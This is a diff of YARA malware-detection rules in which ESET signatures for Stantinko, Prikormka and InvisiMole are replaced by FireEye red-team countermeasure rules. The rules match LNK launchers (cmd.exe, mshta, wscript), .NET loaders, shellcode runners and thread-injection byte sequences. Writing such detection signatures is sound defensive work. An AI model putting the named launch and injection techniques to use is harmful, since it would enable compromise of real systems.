-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/stantinko/stantinko.yar#L132-L148"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "902c0ee086ce1a8def831d2f30c868165198c6c304faac3a93116a524f8e2fbf"
+		description = "No description has been set in the source file - FireEye-RT"
+		author = "FireEye"
+		id = "068662f6-28b8-5538-8bc3-6506565305ae"
+		date = "2020-12-01"
+		date = "2020-12-01"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/RESUMEPLEASE/production/yara/Trojan_Macro_RESUMEPLEASE_1.yar#L4-L21"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "d5d3d23c8573d999f1c48d3e211b1066"
+		logic_hash = "040457bc446e496431129ff4623ddda5d9c2ce339ba65a7fbe42114626f36c60"
 		score = 75
-		quality = 80
+		quality = 75
 		tags = ""
-		Author = "Frédéric Vachon"
-		Description = "Stantinko malware family PDB path"
-		Contact = "github@eset.com"
-		License = "BSD 2-Clause"
+		rev = 1
 
 	strings:
-		$s1 = "D:\\work\\service\\service\\" ascii
+		$str00 = "For Binary As"
+		$str01 = "Range.Text"
+		$str02 = "Environ("
+		$str03 = "CByte("
+		$str04 = ".SpawnInstance_"
+		$str05 = ".Create("
 
 	condition:
 		all of them
 }
-import "pe"
+rule FIREEYE_RT_Hunting_LNK_Win_Genericlauncher : FILE
+{
+	meta:
+		description = "Signature to detect LNK files or OLE objects with embedded LNK files and generic launcher commands, except powershell which is large enough to have its own gene"
+		author = "FireEye"
+		id = "1a12e475-bb18-55ab-b629-47b711c10e6b"
+		date = "2018-09-04"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/LNKSMASHER/supplemental/yara/Hunting_LNK_Win_GenericLauncher.yar#L4-L22"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "14dd758e8f89f14612c8df9f862c31e4"
+		logic_hash = "a654cd3594e2d09950fb11bf8721a5cdb89f5d5be6e706f12e18c7fcdf7dd0fe"
+		score = 60
+		quality = 53
+		tags = "FILE"
+		rev = 7
 
-rule ESET_Stantinko_Droppers : FILE
+	strings:
+		$a01 = "cmd.exe /" ascii nocase wide
+		$a02 = "cscript" ascii nocase wide
+		$a03 = "jscript" ascii nocase wide
+		$a04 = "wscript" ascii nocase wide
+		$a05 = "wmic" ascii nocase wide
+		$a07 = "mshta" ascii nocase wide
+		$header = { 4C 00 00 00 01 14 02 }
+
+	condition:
+		(($header at 0) or (( uint32(0)==0xE011CFD0) and $header)) and (1 of ($a*))
+}
+rule FIREEYE_RT_Dropper_LNK_Lnksmasher_1 : FILE
 {
 	meta:
-		description = "No description has been set in the source file - ESET"
-		author = "ESET TI"
-		id = "fe2e6987-929a-59e3-a9ec-01a9f55fe589"
-		date = "2017-07-17"
-		modified = "2017-07-20"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/stantinko/stantinko.yar#L150-L170"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "c56fc85834a3e1bb1c14da37fb509c7de3009bf81d52800fe0093dc489f6deaa"
+		description = "The LNKSmasher project contains a prebuilt LNK file that has pieces added based on various configuration items. Because of this, several artifacts are present in every single LNK file generated by LNKSmasher, including the Drive Serial #, the File Droid GUID, and the GUID CLSID."
+		author = "FireEye"
+		id = "1b93ddf8-9578-5e47-b479-4c9e8a40b4f4"
+		date = "2020-12-09"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/LNKSMASHER/production/yara/Dropper_LNK_LNKSmasher_1.yar#L4-L18"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "0a86d64c3b25aa45428e94b6e0be3e08"
+		logic_hash = "61d1ac67ac0d332ad842a522cbebe1b9af1482d58a210b50fb45209355c0aeeb"
 		score = 75
-		quality = 80
+		quality = 75
 		tags = "FILE"
-		Author = "Marc-Etienne M.Léveillé"
-		Description = "Stantinko droppers"
-		Contact = "github@eset.com"
-		License = "BSD 2-Clause"
+		rev = 6
 
 	strings:
-		$s1 = {55 8B EC 83 EC 08 53 56 BE 80 F4 45 00 57 81 EE 80 0E 41 00 56 E8 6D 23 00 00 56 8B D8 68 80 0E 41 00 53 89 5D F8 E8 65 73 00 00 8B 0D FC F5 45}
-		$s2 = {7E 5E 7F 8C 08 46 00 00 AB 57 1A BB 91 5C 00 00 FA CC FD 76 90 3A 00 00}
+		$drive_serial = { 12 F7 26 BE }
+		$file_droid_guid = { BC 96 28 4F 0A 46 54 42 81 B8 9F 48 64 D7 E9 A5 }
+		$guid_clsid = { E0 4F D0 20 EA 3A 69 10 A2 D8 08 00 2B 30 30 9D }
+		$header = { 4C 00 00 00 01 14 02 }
 
 	condition:
-		uint16(0)==0x5A4D and 1 of them
+		$header at 0 and all of them
 }
-import "pe"
-
-rule ESET_Stantinko_D3D
+rule FIREEYE_RT_APT_Hacktool_MSIL_LUALOADER_1 : FILE
 {
 	meta:
-		description = "No description has been set in the source file - ESET"
-		author = "ESET TI"
-		id = "6652e55c-96a0-55a7-9941-7f32bbf984e5"
-		date = "2017-07-17"
-		modified = "2017-07-20"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/stantinko/stantinko.yar#L172-L187"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "4e8da3f11df15e4aa469db62961ae390c4c4df2a5335eec0bdab19b14cc8343d"
+		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'lualoader' project."
+		author = "FireEye"
+		id = "e8480cf8-1852-5572-8e92-c0ae676b7507"
+		date = "2020-12-09"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/LUALOADER/production/yara/APT_HackTool_MSIL_LUALOADER_1.yar#L4-L15"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "dd8805d0e470e59b829d98397507d8c2"
+		logic_hash = "7e9f9836ec91aa66c8779588cfceff718487f0cb5048d17538c947aba687a4cf"
 		score = 75
-		quality = 80
-		tags = ""
-		Author = "Marc-Etienne M.Léveillé"
-		Description = "Stantinko d3dadapter component"
-		Contact = "github@eset.com"
-		License = "BSD 2-Clause"
+		quality = 73
+		tags = "FILE"
+		rev = 3
+
+	strings:
+		$typelibguid0 = "8b546b49-2b2c-4577-a323-76dc713fe2ea" ascii nocase wide
 
 	condition:
-		pe.exports("EntryPoint") and pe.exports("ServiceMain") and pe.imports("WININET.DLL","HttpAddRequestHeadersA")
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-import "pe"
-
-rule ESET_Stantinko_Ihctrl32
+rule FIREEYE_RT_APT_Loader_MSIL_LUALOADER_1 : FILE
 {
 	meta:
-		description = "No description has been set in the source file - ESET"
-		author = "ESET TI"
-		id = "e8ab9f78-f438-5d9b-8407-e6c7e241da2c"
-		date = "2017-07-17"
-		modified = "2017-07-20"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/stantinko/stantinko.yar#L189-L209"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "1829e08fb2289f738d0e75ad9977169e9a94379da764b1766f23fa47e8bc2543"
+		description = "No description has been set in the source file - FireEye-RT"
+		author = "FireEye"
+		id = "970a869e-bd69-5609-bb8d-77bfa78b0630"
+		date = "2020-12-18"
+		modified = "2020-12-18"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/LUALOADER/production/yara/APT_Loader_MSIL_LUALOADER_1.yar#L4-L17"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		logic_hash = "2d73d434ac39ebde990aca817a54208cd04bfbce33f1bcadcf48a50d9389658c"
 		score = 75
-		quality = 80
-		tags = ""
-		Author = "Marc-Etienne M.Léveillé"
-		Description = "Stantinko ihctrl32 component"
-		Contact = "github@eset.com"
-		License = "BSD 2-Clause"
+		quality = 75
+		tags = "FILE"
 
 	strings:
-		$s1 = "ihctrl32.dll"
-		$s2 = "win32_hlp"
-		$s3 = "Ihctrl32Main"
-		$s4 = "I%citi%c%size%s%c%ci%s"
-		$s5 = "Global\\Intel_hctrl32"
+		$sb1 = { 1? 72 [4] 14 D0 [2] 00 02 28 [2] 00 0A 1? 8D [2] 00 01 13 ?? 11 ?? 1? 1? 14 28 [2] 00 0A A2 11 ?? 1? 1? 14 28 [2] 00 0A A2 11 ?? 28 [2] 00 0A 28 [2] 00 0A 80 [2] 00 04 7E [2] 00 04 7B [2] 00 0A 7E [2] 00 04 11 ?? 11 ?? 6F [2] 00 0A 6F [2] 00 0A }
+		$ss1 = "\x3bN\x00e\x00o\x00.\x00I\x00r\x00o\x00n\x00L\x00u\x00a\x00.\x00L\x00u\x00a\x00C\x00o\x00m\x00p\x00i\x00l\x00e\x00O\x00p\x00t\x00i\x00o\x00n\x00s\x00"
+		$ss2 = "\x19C\x00o\x00m\x00p\x00i\x00l\x00e\x00C\x00h\x00u\x00n\x00k\x00"
+		$ss3 = "\x0fd\x00o\x00c\x00h\x00u\x00n\x00k\x00"
+		$ss4 = /.Reflection.Assembly:Load\(\w{1,64}\);?\s{0,245}\w{1,64}\.EntryPoint:Invoke\(nil/ wide
+		$ss5 = "1F 8B 08 00 00 00 00 00" wide
 
 	condition:
-		2 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
 }
-import "pe"
+rule FIREEYE_RT_APT_Loader_MSIL_LUALOADER_2 : FILE
+{
+	meta:
+		description = "No description has been set in the source file - FireEye-RT"
+		author = "FireEye"
+		id = "f2826dbb-f0a4-5361-94d1-8509c60c4131"
+		date = "2020-12-18"
+		modified = "2020-12-18"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/LUALOADER/production/yara/APT_Loader_MSIL_LUALOADER_2.yar#L4-L19"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		logic_hash = "700927768669eda6976071306e991bfaae136279f4265980521597c699fbed88"
+		score = 75
+		quality = 75
+		tags = "FILE"
 
-rule ESET_Stantinko_Wsaudio
+	strings:
+		$ss1 = "\x3bN\x00e\x00o\x00.\x00I\x00r\x00o\x00n\x00L\x00u\x00a\x00.\x00L\x00u\x00a\x00C\x00o\x00m\x00p\x00i\x00l\x00e\x00O\x00p\x00t\x00i\x00o\x00n\x00s\x00"
+		$ss2 = "\x19C\x00o\x00m\x00p\x00i\x00l\x00e\x00C\x00h\x00u\x00n\x00k\x00"
+		$ss3 = "\x0fd\x00o\x00c\x00h\x00u\x00n\x00k\x00"
+		$ss4 = /.Reflection.Assembly:Load\(\w{1,64}\);?\s{0,245}\w{1,64}\.EntryPoint:Invoke\(nil/ wide
+		$ss5 = "1F 8B 08 00 00 00 00 00" wide
+		$ss6 = "\x00LoadLibrary\x00"
+		$ss7 = "\x00GetProcAddress\x00"
+		$ss8 = "\x00VirtualProtect\x00"
+
+	condition:
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
+}
+rule FIREEYE_RT_Loader_MSIL_Netshshellcoderunner_1 : FILE
 {
 	meta:
-		description = "No description has been set in the source file - ESET"
-		author = "ESET TI"
-		id = "623f4ac7-03ec-52df-b7bf-0a2055453c52"
-		date = "2017-07-17"
-		modified = "2017-07-20"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/stantinko/stantinko.yar#L211-L233"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "45d92f1475f316ba50a9a4a3dd519d1186ed16c68bd2debe326736a1e3154562"
+		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'NetshShellCodeRunner' project."
+		author = "FireEye"
+		id = "b3521812-7ea3-5f80-89bd-3bdd71b687f2"
+		date = "2020-12-09"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/NETSHSHELLCODERUNNER/production/yara/Loader_MSIL_NetshShellCodeRunner_1.yar#L4-L15"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "dd8805d0e470e59b829d98397507d8c2"
+		logic_hash = "97f6475a9d42697f633e06a9b04a85021ca4920145eb4af257d71b431448f0e9"
 		score = 75
-		quality = 80
-		tags = ""
-		Author = "Marc-Etienne M.Léveillé"
-		Description = "Stantinko wsaudio component"
-		Contact = "github@eset.com"
-		License = "BSD 2-Clause"
+		quality = 73
+		tags = "FILE"
+		rev = 2
 
 	strings:
-		$s1 = "GetInterface"
-		$s2 = "wsaudio.dll"
-		$s3 = "Global\\Wsaudio_Initialize"
-		$s4 = "SOFTWARE\\Classes\\%s.FieldListCtrl.1\\"
+		$typelibguid0 = "49c045bc-59bb-4a00-85c3-4beb59b2ee12" ascii nocase wide
 
 	condition:
-		2 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-import "pe"
+rule FIREEYE_RT_Hacktool_MSIL_Sharphound_3 : FILE
+{
+	meta:
+		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public SharpHound3 project."
+		author = "FireEye"
+		id = "456b3208-1e8d-5eb7-81ee-39f1c886c5a7"
+		date = "2020-12-09"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PUPPYHOUND/production/yara/HackTool_MSIL_SharpHound_3.yar#L4-L15"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "eeedc09570324767a3de8205f66a5295"
+		logic_hash = "baeea6cae42c755ee389378229b2b206c82f60f75a5ce5f9cfa06871fc9507d1"
+		score = 75
+		quality = 73
+		tags = "FILE"
+		rev = 4
 
-rule ESET_Stantinko_Ghstore
+	strings:
+		$typelibguid1 = "A517A8DE-5834-411D-ABDA-2D0E1766539C" ascii nocase wide
+
+	condition:
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and $typelibguid1
+}
+rule FIREEYE_RT_Hacktool_MSIL_Puppyhound_1 : FILE
 {
 	meta:
-		description = "No description has been set in the source file - ESET"
-		author = "ESET TI"
-		id = "ef9f0c27-35ea-5dd5-925f-09b6e043569d"
-		date = "2017-07-17"
-		modified = "2017-07-20"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/stantinko/stantinko.yar#L235-L255"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "e5628d6ffb2d3684264b3a88c4d7b5d2ce8983aa22badf5839ccb8ba2e3ef2d4"
+		description = "This is a modification of an existing FireEye detection for SharpHound. However, it looks for the string 'PuppyHound' instead of 'SharpHound' as this is all that was needed to detect the PuppyHound variant of SharpHound."
+		author = "FireEye"
+		id = "1155f959-c8bc-597a-8a80-abee8d95b6ec"
+		date = "2020-12-09"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PUPPYHOUND/production/yara/HackTool_MSIL_PuppyHound_1.yar#L4-L19"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "eeedc09570324767a3de8205f66a5295"
+		logic_hash = "39073bbfef15ecd28c1772e5d01e54c3d5774ecb4c90f0076bda5dc400abacba"
 		score = 75
-		quality = 80
-		tags = ""
-		Author = "Marc-Etienne M.Léveillé"
-		Description = "Stantinko ghstore component"
-		Contact = "github@eset.com"
-		License = "BSD 2-Clause"
+		quality = 75
+		tags = "FILE"
+		rev = 6
 
 	strings:
-		$s1 = "G%cost%sSt%c%s%s%ce%sr" wide
-		$s2 = "%cho%ct%sS%sa%c%s%crve%c" wide
-		$s3 = "Par%c%ce%c%c%s" wide
-		$s4 = "S%c%curity%c%s%c%s" wide
-		$s5 = "Sys%c%s%c%c%su%c%s%clS%c%s%serv%s%ces" wide
+		$1 = "PuppyHound"
+		$2 = "UserDomainKey"
+		$3 = "LdapBuilder"
+		$init = { 28 [2] 00 0A 0A 72 [2] 00 70 1? ?? 28 [2] 00 0A 72 [2] 00 70 1? ?? 28 [2] 00 0A 28 [2] 00 0A 0B 1F 2D }
+		$msil = /\x00_Cor(Exe|Dll)Main\x00/
 
 	condition:
-		3 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
 }
-rule ESET_Prikormka
+rule FIREEYE_RT_Hacktool_MSIL_Prepshellcode_1 : FILE
 {
 	meta:
-		description = "No description has been set in the source file - ESET"
-		author = "ESET TI"
-		id = "6073aa34-d385-5ae8-b97d-9b3d61015aae"
-		date = "2016-05-10"
-		modified = "2019-08-28"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/groundbait/prikormka.yar#L130-L141"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "f64195e680fbaefedba248aa15b37ed30ba72f42958cc48963a140165e951bff"
+		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'PrepShellcode' project."
+		author = "FireEye"
+		id = "32fb6b1d-e01f-5555-8516-088dca2166cf"
+		date = "2020-12-09"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PREPSHELLCODE/production/yara/HackTool_MSIL_PrepShellcode_1.yar#L4-L15"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "dd8805d0e470e59b829d98397507d8c2"
+		logic_hash = "aedae87d84275f6589c982c04175ddc0aee3e4f3ae959ced4b4e2294675522e6"
 		score = 75
-		quality = 80
-		tags = ""
-		Author = "Anton Cherepanov"
-		Description = "Operation Groundbait"
-		Contact = "threatintel@eset.com"
-		License = "BSD 2-Clause"
+		quality = 73
+		tags = "FILE"
+		rev = 2
+
+	strings:
+		$typelibguid0 = "d16ed275-70d5-4ae5-8ce7-d249f967616c" ascii nocase wide
 
 	condition:
-		ESET_Prikormkadropper_PRIVATE or ESET_Prikormkamodule_PRIVATE or ESET_Prikormkaearlyversion_PRIVATE
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
 import "pe"
 
-rule ESET_Apt_Windows_Invisimole_Logs : FILE
+rule FIREEYE_RT_Loader_MSIL_DUEDLLIGENCE_3 : FILE
 {
 	meta:
-		description = "Detects log files with collected created by InvisiMole's RC2CL backdoor"
-		author = "ESET Research"
-		id = "151883ad-1f44-55b4-b12a-f0d399527189"
-		date = "2021-05-17"
-		modified = "2021-05-17"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/invisimole/invisimole.yar#L54-L77"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "d42423ccc768f1823c76d5cb2aec26434c796fc35bd4e2fbf435fcf7997d3ff0"
+		description = "No description has been set in the source file - FireEye-RT"
+		author = "FireEye"
+		id = "42e4e777-6d51-5733-97df-dc27f13a27b7"
+		date = "2020-12-18"
+		modified = "2020-12-18"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/DUEDLLIGENCE/production/yara/Loader_MSIL_DUEDLLIGENCE_3.yar#L5-L16"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		logic_hash = "41cc6a4c7765b1e5e88d12660b69e434c83938ca974b9ccf6545b4dd5dd78378"
 		score = 75
-		quality = 80
+		quality = 75
 		tags = "FILE"
-		license = "BSD 2-Clause"
-		version = "1"
+
+	strings:
+		$create_thread_injected = { 7E [2] 00 0A 0A 16 0B 16 8D [2] 00 01 0C 28 [2] 00 06 2? ?? 2A 28 [2] 00 0A 1E 3? ?? 7E [2] 00 04 7E [2] 00 04 28 [2] 00 0A 28 [2] 00 06 0C 2? ?? 7E [2] 00 04 7E [2] 00 04 28 [2] 00 0A 28 [2] 00 06 0C 7E [2] 00 0A 08 8E 69 7E [2] 00 04 7E [2] 00 04 28 [2] 00 06 0D 09 7E [2] 00 0A 28 [2] 00 0A }
+		$iz1 = /_Cor(Exe|Dll)Main/ fullword
+		$rc4 = { 20 00 01 00 00 8D [2] 00 01 1? ?? 20 00 01 00 00 8D [2] 00 01 1? ?? 03 8E 69 8D [2] 00 01 1? ?? 16 0B 2B ?? 1? ?? 07 02 07 02 8E 69 5D 91 9E 1? ?? 07 07 9E 07 17 58 0B 07 20 00 01 00 00 32 }
+		$suspended_process = { 12 ?? FE 15 [2] 00 02 1? ?? FE 15 [2] 00 02 02 14 7E [2] 00 0A 7E [2] 00 0A 16 20 [2] 00 08 7E [2] 00 0A 14 12 ?? 12 ?? 28 [2] 00 06 }
 
 	condition:
-		uint32(0)==0x08F1CAA1 or uint32(0)==0x08F1CAA2 or uint32(0)==0x08F1CCC0 or uint32(0)==0x08F2AFC0 or uint32(0)==0x083AE4DF or uint32(0)==0x18F2CBB1 or uint32(0)==0x1900ABBA or uint32(0)==0x24F2CEA1 or uint32(0)==0xDA012193 or uint32(0)==0xDA018993 or uint32(0)==0xDA018995 or uint32(0)==0xDD018991
+		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and all of them
 }
-import "pe"
+rule FIREEYE_RT_Hacktool_MSIL_HOLSTER_1 : FILE
+{
+	meta:
+		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the a customized version of the 'DUEDLLIGENCE' project."
+		author = "FireEye"
+		id = "e1e8979e-2dee-5061-a11d-00dcfba476c3"
+		date = "2020-12-09"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/DUEDLLIGENCE/production/yara/HackTool_MSIL_HOLSTER_1.yar#L4-L15"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "a91bf61cc18705be2288a0f6f125068f"
+		logic_hash = "bc254a1ab71f2a6092f139ce5a85347a7a4976f963603ffbbebb9b0d6ce6573c"
+		score = 75
+		quality = 73
+		tags = "FILE"
+		rev = 2
 
-rule ESET_Apt_Windows_Invisimole_SFX_Dropper : FILE
+	strings:
+		$typelibguid1 = "a8bdbba4-7291-49d1-9a1b-372de45a9d88" ascii nocase wide
+
+	condition:
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+}
+rule FIREEYE_RT_MSIL_Launcher_DUEDLLIGENCE_1 : FILE
 {
 	meta:
-		description = "Detects trojanized InvisiMole files: patched RAR SFX droppers with added InvisiMole blobs (config encrypted XOR 2A at the end of a file)"
-		author = "ESET Research"
-		id = "08490bcd-3139-5fac-9c6c-5a32acb7217a"
-		date = "2021-05-17"
-		modified = "2021-05-17"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/invisimole/invisimole.yar#L79-L95"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "6ca248d42c1e889988e5931d80df071cb20e623fb0c4a208044cabe073f71ce4"
+		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'DUEDLLIGENCE' project."
+		author = "FireEye"
+		id = "86f0ebe5-110b-53e2-bba5-676f00c2cddd"
+		date = "2020-12-09"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/DUEDLLIGENCE/production/yara/MSIL_Launcher_DUEDLLIGENCE_1.yar#L4-L15"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "a91bf61cc18705be2288a0f6f125068f"
+		logic_hash = "bd6abaa909f0c776d81ed1115e875888336661c91df3881f4f3ea5dd27e115f8"
 		score = 75
-		quality = 80
+		quality = 73
 		tags = "FILE"
-		license = "BSD 2-Clause"
-		version = "1"
+		rev = 1
 
 	strings:
-		$encrypted_config = {5F 59 4F 58 19 18 04 4E 46 46 2A 5D 59 5A 58 43 44 5E 4C 7D 2A 0F 2A 59 2A 78 2A 4B 2A 58 2A 0E 2A 6F 2A 72 2A 4B 2A 0F 2A 4E 2A 04 2A 0F 2A 4E 2A 76 2A 0F 2A 79 2A 2A 2A 79 42 4F 46 46 6F 52 4F 49 5F 5E 4F 7D 2A 79 42 4F 46 46 19 18 04 4E 46 46 2A 7C 43 58 5E 5F 4B 46 6B 46 46 45 49 2A 66 45 4B 4E 66 43 48 58 4B 58 53 6B}
+		$typelibguid0 = "73948912-cebd-48ed-85e2-85fcd1d4f560" ascii nocase wide
 
 	condition:
-		uint16(0)==0x5A4D and $encrypted_config
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
 import "pe"
 
-rule ESET_Apt_Windows_Invisimole_CPL_Loader : FILE
+rule FIREEYE_RT_Loader_MSIL_DUEDLLIGENCE_1 : FILE
 {
 	meta:
-		description = "CPL loader"
-		author = "ESET Research"
-		id = "feff8627-6085-5835-ac1b-d4522245f7db"
-		date = "2021-05-17"
-		modified = "2021-05-17"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/invisimole/invisimole.yar#L97-L118"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "cd5c19e14faa7fd3758b30193ccf2bed3692ad29d8216466523ca25d2abcfe88"
+		description = "No description has been set in the source file - FireEye-RT"
+		author = "FireEye"
+		id = "d438575f-3cb2-5cff-b5d4-733044f62e61"
+		date = "2020-12-18"
+		modified = "2020-12-18"
